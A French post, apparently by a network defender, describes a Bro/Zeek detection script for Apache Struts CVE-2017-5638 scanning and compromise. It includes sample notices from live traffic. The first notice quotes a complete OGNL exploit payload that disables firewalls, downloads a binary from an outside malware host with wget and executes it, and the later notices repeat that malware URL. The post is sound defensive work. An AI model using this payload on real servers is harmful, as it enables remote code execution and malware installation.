
détection pour la reconnaissance et la compromission d'Apache Struts
J'ai étendu le script de Scott Campbell encore plus, je l'ai rendu plus compliqué :)
Bien que "HTTP_StrutsAttack" stoppera 100% de la reconnaissance, il y avait encore une chance minime que si un scanner touche un système vulnérable, même si nous bloquons le scanner, le système vulnérable pourrait toujours exécuter le wget inclus dans la requête HTTP et exécuter le malware. Puisque nous ne bloquons pas l'IP de téléchargement du malware dans l'URL wget qui est presque toujours différente de l'IP de reconnaissance.
Donc le script étendu extrait également l'IP de téléchargement du malware
Générer les notifications suivantes :
redef enum Notice::Type += {
Attempt,
MalwareURL,
HostileDomainLookup,
MalwareURLClick,
FileDownload,
Compromise,
};
Donc maintenant ce script extrait l'URL 'wget' de Attempt et ensuite si l'URL a un domaine (ou un domaine CNAME) le script retrouvera les adresses IP de l'hôte du malware et surveillera l'activité.
si l'URL wget est vue dans http, nous générons une notification MalwareURLClick
d'autres notifications pour FileDownload et Compromise.
Ce script est également clusterisé.
Je l'ai exécuté sur 24 heures et les choses semblent stables en ce qui concerne le script. Je suis toujours sûr qu'il pourrait y avoir des failles de détection. donc n'hésitez pas à le modifier et à me le faire savoir aussi.
Étonnamment, contrairement aux fois précédentes, je ne vois pas un énorme volume de scanners Struts. Je vois de l'ordre de ~20 par jour au lieu de ~1000 par jour.
Voici des exemples de notifications :
1489228734.171565 CbVq832QovIwAQddf2 1.24.191.108 65000 131.243.X.Y 80 - - - tcp Struts::Attempt CVE-2017-5638/attaque Struts depuis 1.24.191.108 vue : %{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c http://121.42.249.245:1996/xhx;chmod 777 xhx;./xhx;').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} - 1.24.191.108 131.243.X.Y 80 - worker-5 Notice::ACTION_LOG 3600.000000 F - -- - -
1489237401.399275 C90k4o1Zrn8D7vaXoe 124.117.244.34 49728 128.3.Y.Z 80 - - - tcp Struts::MalwareURL URLs hostiles Struts vues dans une tentative de reconnaissance de 124.117.244.34 vers 128.3.Y.Z avec URL [http://121.42.249.245:1996/xhx;chmod 777 xhx;./xhx;] - 124.117.244.34 128.3.Y.Z 80 - worker-13 Notice::ACTION_LOG 3600.000000 F - - - - -
1489240937.969456 CpUhgp1VJnPuOLY8h 128.3.X.Y 33755 121.42.249.245 1996 - - - tcp Struts::MalwareURLClick URL hostile Struts vue 128.3.X.Y=121.42.249.245 [http://121.42.249.245:1996/tcp/xhx] - 128.3.X.Y 121.42.249.245 1996 - worker-15 Notice::ACTION_LOG 60.000000 F - - - - -
1489240937.969456 CpUhgp1VJnPuOLY8h 128.3.X.Y 33755 121.42.249.245 1996 - - - tcp Struts::Compromise Compromission Struts : 128.3.X.Y=121.42.249.245 [http://121.42.249.245:1996/tcp/xhx] - 128.3.X.Y 121.42.249.245 1996 - worker-15 Notice::ACTION_LOG 3600.000000 F - - - - -
1489240940.206456 CpUhgp1VJnPuOLY8h 128.3.X.Y 33755 121.42.249.245 1996 Frx9jZ1JkcrsVtgOkg application/x-executable http://121.42.249.245:1996/tcp/xhx tcp Struts::FileDownload http://121.42.249.245:1996/tcp/xhx http://121.42.249.245:1996/tcp/xhx 128.3.X.Y 121.42.249.245 1996 - worker-15 Notice::ACTION_LOG 3600.000000 F